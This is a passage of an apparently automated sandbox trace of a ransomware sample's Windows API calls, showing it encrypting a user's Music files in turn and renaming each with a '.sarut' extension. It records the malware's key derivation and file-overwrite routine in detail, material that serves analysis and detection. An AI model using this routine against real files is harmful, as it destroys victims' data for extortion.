dwFreeType=0x8000) returned 1 [0269.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.054] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa84d1d70, ftCreationTime.dwHighDateTime=0x1d4d25b, ftLastAccessTime.dwLowDateTime=0x60f33890, ftLastAccessTime.dwHighDateTime=0x1d4d2d0, ftLastWriteTime.dwLowDateTime=0x60f33890, ftLastWriteTime.dwHighDateTime=0x1d4d2d0, nFileSizeHigh=0x0, nFileSizeLow=0xb88c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j pK_84.mp3", cAlternateFileName="JPK_84~1.MP3")) returned 1 [0269.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.054] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j pK_84.mp3") returned=".mp3" [0269.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j pK_84.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j pk_84.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.055] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=47244) returned 1 [0269.055] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.057] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb866, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.057] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.059] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.059] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb88c, lpOverlapped=0x0) returned 1 [0269.060] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.060] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.060] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.060] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.061] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.061] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.061] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.061] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.061] GetLastError () returned 0x0 [0269.061] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.061] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb890) returned 0x311d708 [0269.062] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.062] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb887, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb887, lpOverlapped=0x0) returned 1 [0269.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.062] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb88c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.063] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.063] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.063] CloseHandle (hObject=0x5c4) returned 1 [0269.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j pK_84.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j pk_84.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j pK_84.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j pk_84.mp3.sarut")) returned 1 [0269.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.065] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.066] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc22f10, ftCreationTime.dwHighDateTime=0x1d4cd6f, ftLastAccessTime.dwLowDateTime=0x7d699c20, ftLastAccessTime.dwHighDateTime=0x1d4ca98, ftLastWriteTime.dwLowDateTime=0x7d699c20, ftLastWriteTime.dwHighDateTime=0x1d4ca98, nFileSizeHigh=0x0, nFileSizeLow=0x8704, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBJbBMpw.wav", cAlternateFileName="")) returned 1 [0269.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NBJbBMpw.wav") returned=".wav" [0269.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NBJbBMpw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nbjbbmpw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.067] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=34564) returned 1 [0269.067] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.070] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.070] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.072] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.072] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8704, lpOverlapped=0x0) returned 1 [0269.073] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.073] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.073] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.073] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.074] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.074] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.074] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.074] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.074] GetLastError () returned 0x0 [0269.074] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.074] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8700) returned 0x311d708 [0269.074] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.075] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x86ff, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x86ff, lpOverlapped=0x0) returned 1 [0269.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.075] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.075] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.075] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.075] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.076] CloseHandle (hObject=0x5c4) returned 1 [0269.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NBJbBMpw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nbjbbmpw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NBJbBMpw.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nbjbbmpw.wav.sarut")) returned 1 [0269.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.083] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.085] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.085] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb845f370, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0xde890d60, ftLastAccessTime.dwHighDateTime=0x1d4cd18, ftLastWriteTime.dwLowDateTime=0xde890d60, ftLastWriteTime.dwHighDateTime=0x1d4cd18, nFileSizeHigh=0x0, nFileSizeLow=0x54ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P8IAG.m4a", cAlternateFileName="")) returned 1 [0269.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.085] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.085] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8IAG.m4a") returned=".m4a" [0269.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8IAG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p8iag.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.085] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=21675) returned 1 [0269.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.087] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.087] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.089] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.089] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.089] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.089] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x54ab, lpOverlapped=0x0) returned 1 [0269.090] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.090] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.090] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.090] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.091] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.091] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.091] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.091] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.091] GetLastError () returned 0x0 [0269.091] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.091] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.092] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54b0) returned 0x311d708 [0269.092] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.092] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.092] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x54a6, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x54a6, lpOverlapped=0x0) returned 1 [0269.092] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.092] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x54ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.092] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.092] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.092] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.092] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.093] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.093] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.093] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.093] CloseHandle (hObject=0x5c4) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8IAG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p8iag.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8IAG.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p8iag.m4a.sarut")) returned 1 [0269.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.097] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.098] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c3f10, ftCreationTime.dwHighDateTime=0x1d4d13d, ftLastAccessTime.dwLowDateTime=0x6cfad580, ftLastAccessTime.dwHighDateTime=0x1d4d258, ftLastWriteTime.dwLowDateTime=0x6cfad580, ftLastWriteTime.dwHighDateTime=0x1d4d258, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAzu8DVMv-r45eOe8.mp3", cAlternateFileName="RAZU8D~1.MP3")) returned 1 [0269.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RAzu8DVMv-r45eOe8.mp3") returned=".mp3" [0269.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RAzu8DVMv-r45eOe8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\razu8dvmv-r45eoe8.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.099] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=2708) returned 1 [0269.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.101] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.101] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.103] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.103] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa94, lpOverlapped=0x0) returned 1 [0269.103] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 